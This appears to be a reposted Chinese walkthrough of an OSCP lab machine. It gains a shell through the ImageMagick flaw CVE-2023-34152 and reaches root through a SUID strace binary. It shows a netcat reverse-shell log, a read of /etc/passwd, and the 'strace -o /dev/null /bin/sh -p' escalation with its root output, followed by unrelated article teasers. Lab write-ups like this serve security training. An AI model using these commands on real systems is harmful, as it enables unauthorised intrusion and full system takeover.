OSCP靶场--image

OSCP靶场–image

考点(CVE-2023-34152 + suid strace提权)

1.nmap扫描

##
┌──(root㉿kali)-[~/Desktop]
└─# nmap -Pn -sC -sV 192.168.178.178 --min-rate 2500
Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-27 23:43 EDT
Nmap scan report for 192.168.178.178
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: ImageMagick Identifier
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.99 seconds

2.user priv

┌──(root㉿kali)-[~/Desktop]
└─# searchsploit ImageMagick 
------------------------------------------------------------------------------------------------------------- ---------------------------------Exploit Title                                                                                               |  Path
------------------------------------------------------------------------------------------------------------- ---------------------------------
GeekLog 2.x - 'ImageImageMagick.php' Remote File Inclusion                                                   | php/webapps/3946.txt
ImageMagick - Memory Leak                                                                                    | multiple/local/45890.sh
ImageMagick 6.8.8-4 - Local Buffer Overflow (SEH)                                                            | windows/local/31688.pl
ImageMagick 6.9.3-9 / 7.0.1-0 - 'ImageTragick' Delegate Arbitrary Command Execution (Metasploit)             | multiple/local/39791.rb
ImageMagick 6.x - '.PNM' Image Decoding Remote Buffer Overflow                                               | linux/dos/25527.txt
ImageMagick 6.x - '.SGI' Image File Remote Heap Buffer Overflow                                              | linux/dos/28383.txt
ImageMagick 7.0.1-0 / 6.9.3-9 - 'ImageTragick ' Multiple Vulnerabilities                                     | multiple/dos/39767.txt
Wordpress Plugin ImageMagick-Engine 1.7.4 - Remote Code Execution (RCE) (Authenticated)                      | php/webapps/51025.txt
------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results### 使用上面漏洞无法反弹shell:google查找到最新利用漏洞:
https://github.com/ImageMagick/ImageMagick/issues/6339
https://github.com/overgrowncarrot1/ImageTragick_CVE-2023-34152## CVE-2023-34152
##
┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 80                                      
listening on [any] 80 ...
192.168.178.178: inverse host lookup failed: Unknown host
connect to [192.168.45.171] from (UNKNOWN) [192.168.178.178] 37654
bash: cannot set terminal process group (1167): Inappropriate ioctl for device
bash: no job control in this shell
www-data@image:/var/www/html$ whoami
whoami
www-data##
cat /etc/passwd | grep -v nologin
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
pollinate:x:110:1::/var/cache/pollinate:/bin/false
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
www-data@image:/var/www/html$ 

在这里插入图片描述
在这里插入图片描述

3. root priv[suid strace提权]

##
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════                                                             ╚════════════════════════════════════╝                                                                                   
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                               
-rwsr-sr-x 1 root root 1.6M Apr 16  2020 /usr/bin/strace    ### suid提权:strace
www-data@image:/tmp$ strace -o /dev/null /bin/sh -p
strace -o /dev/null /bin/sh -p
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
cat /root/proof.txt
781b2f5978060b537bc21805b35f4bcd
cat /var/www/local.txt
432e3484f45027a8ce50c6b8bfff68fb

在这里插入图片描述
在这里插入图片描述

4.总结:

## CVE-2023-34152
https://github.com/overgrowncarrot1/ImageTragick_CVE-2023-34152
https://github.com/ImageMagick/ImageMagick/issues/6339
## suid strace提权:
https://gtfobins.github.io/gtfobins/strace/#suid

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/776481.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

时间同步-chrony

场景:内网主机需要搭建 NTP 服务,设置一台主机作为服务端,其他主机作为客户端。 1 、服务端 1.1 、检查服务是否存在 如果服务存在可以跳过1.2、1.3,直接进行配置文件修改 systemctl status chronyd1.2、上传安装包 如果不存…

Java基础知识总结(24)

limit 分页 原理: /* limit m,n ​ m 表示从下标为 m 的记录开始查询,第一条记录下标为 0,n 表示取出 n 条出来,如 果从 m 开始不够 n 条了,就有几条取几条。m(page-1)*n,(page 页码&#xff…

hive授予指定用户特定权限及beeline使用

背景:因业务需要,需要使用beeline对hive数据进行查询,但是又不希望该用户可以查询所有的数据,希望有一个新用户bb给他指定的库表权限。 解决方案: 1.赋权语句,使用hive管理员用户在终端输入hive进入命令控…

如何在群晖NAS搭建bitwarden密码管理软件并实现无公网IP远程访问

前言 作者简介: 懒大王敲代码,计算机专业应届生 今天给大家聊聊如何在群晖NAS搭建bitwarden密码管理软件并实现无公网IP远程访问,希望大家能觉得实用! 欢迎大家点赞 👍 收藏 ⭐ 加关注哦!💖&am…

降分违规?90%新手会遇到的抖音小店运营问题!解决方法快围观!

哈喽~我是电商月月 今天我们聊聊新手开抖音小店会遇到的问题以及解决方法 为了完整性我们从头到尾分析,根据情况不同可自行翻阅 一,入驻和运营时的操作问题 1.营业执照的办理,选择,填写 营业执照的办理可以去当地工商局办理&…

nginx截取url后面的id比较大小

##这里下面的代码是截取url后面的文章id,然后比较小于200000的话,跳转到指定的页面 ##注意 http://xxx.com/index.html 需要换成自己的页面 #set $article_id ""; #set $history_flag 1; #set $min_article_id 10; # …

迭代器模式(统一对集合的访问方式)

目录 前言 UML plantuml 类图 实战代码 Iterator ArrayList Client 自定义迭代器 TreeNode TreeUtils Client 前言 在实际开发过程中,常用各种集合来存储业务数据并处理,比如使用 List,Map,Set 等等集合来存储业务数…

揭秘!抖音严打AI网红骗局,维护虚拟世界秩序!

近年来,AI网红在社交媒体平台上的兴起引发了不少争议。为了规范虚拟人物的内容创作,抖音平台决定对AI网红乱象进行严厉打击,并推出了一系列措施。 AI-321 | 专注于AI工具分享的网站 AI工具集 | 人工智能工具箱 | 全球顶尖AI工具软件推荐与分…

Linux:环境变量的特性及获取

目录 一、环境变量基本概念 1.1命令行参数 1.2常见环境变量 二、环境变量相关指令 创建本地变量 三、环境变量通常是具有全局属性的 一、环境变量基本概念 环境变量(environment variables)不是一个而是一堆,彼此之间其实没有关系。本质上是为了解决不同场景下…

如何用智能AI绘一幅世界地图?

今天我们分享一下,用智能AI绘一幅世界地图的方法! 为了方便你极速体验,特意在文末为你准备了登录帐号,省去你注册的烦恼。 认准AI绘画官网 如果你在百度搜索“AI绘画”或“Midjourney”,找出来的基本全是广告&#…

MSTP环路避免实验

思科设备参考: 一,技术简介 MSTP(多生成树协议),MSTP解决了STP和RSTP没有考虑vlan的问题,STP和RSTP将所有的vlan共享为一个生成树实例,无法实现负载分担,这样就导致了网络中一些设…

【深度学习】YOLOv8:别再pip install ultralytics了

🔥博客主页: A_SHOWY🎥系列专栏:力扣刷题总结录 数据结构 云计算 数字图像处理 力扣每日一题_ 随着YOLOv8的版本不断更新,最新的几个版本会发现没有requirements.txt和setup.py,在安装包的依赖的时候&…

OpenAI奥特曼豪赌1.42亿破解长生不老

生物初创公司 Retro Biosciences 由山姆奥特曼投资1.42亿英镑,公司目标是延长人类寿命。 山姆奥特曼投资背景: 38 岁的奥特曼一直是科技行业的重要参与者。尽管年纪轻轻,奥特曼凭借 ChatGPT 和 Sora 等产品席卷了科技领域。奥特曼对 Reddit…

C语言:指针进阶

一、字符指针 char arr[] "hello";char* p "hello"; //p中存的是"hello"字符串首元素的地址printf("%c\n",*arr); //hprintf("%c\n", *p); //hprintf("%s\n", arr); //"hello",以字符串格式打印&am…

Windows安装SSH详细教程

目录 第一章:SSH简介与概念 1.1 什么是SSH? 1.2 SSH的作用 1.3 SSH的特点 1.4 SSH的应用场景 第二章:安装OpenSSH客户端 2.1 下载OpenSSH客户端 2.2 安装OpenSSH客户端 2.3 验证安装结果 第三章:配置SSH客户端 3.1 设置SSH配置文件 3.2 生成SSH密钥对 3.3 配置…

PCL点云处理之M估计样本一致性(MSAC)平面拟合(二百三十六)

PCL点云处理之M估计样本一致性(MSAC)平面拟合(二百三十五六) 一、算法介绍二、使用步骤1.代码2.效果一、算法介绍 写论文当然用RANSAC的优化变种算法MSAC啊,RANSAC太土太LOW了哈哈 MSAC算法(M-estimator Sample Consensus)是RANSAC(Random Sample Consensus)的一种…

Python入门级题目及答案

前言: 学习Python作为一门编程语言是非常有必要的,因为Python简单易学,功能强大,应用广泛。在本篇博客中,我们将提供八道Python入门级的题目,每道题目都伴有详细的描述和对应的答案代码。通过完成这八道题目…

Linux系统使用Docker部署Portainer结合内网穿透实现远程管理容器和镜像

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

Tickeys for Mac:让每一次敲击都充满乐趣,提升打字体验新高度!

Tickeys for Mac 是一款为 macOS 设计的虚拟键盘音效生成器。它通过模拟机械键盘的声音,为打字和输入操作增添了音效反馈,让用户在使用电脑时感受到更加真实的键盘反馈体验。用户可以根据个人喜好选择不同类型的键盘声音和音效设置,让键盘操作…

带你充分理解并掌握 vue3 的 setup 用法

在 Vue 3 中,setup 函数是 Composition API 的入口点,它提供了一种新的方式来组织和复用逻辑。setup 函数是在组件的生命周期钩子 created 之前执行的,它允许开发者在组件创建时定义响应式状态、计算属性、方法和生命周期逻辑。 基本用法 setup 函数返回一个对象,该对象的…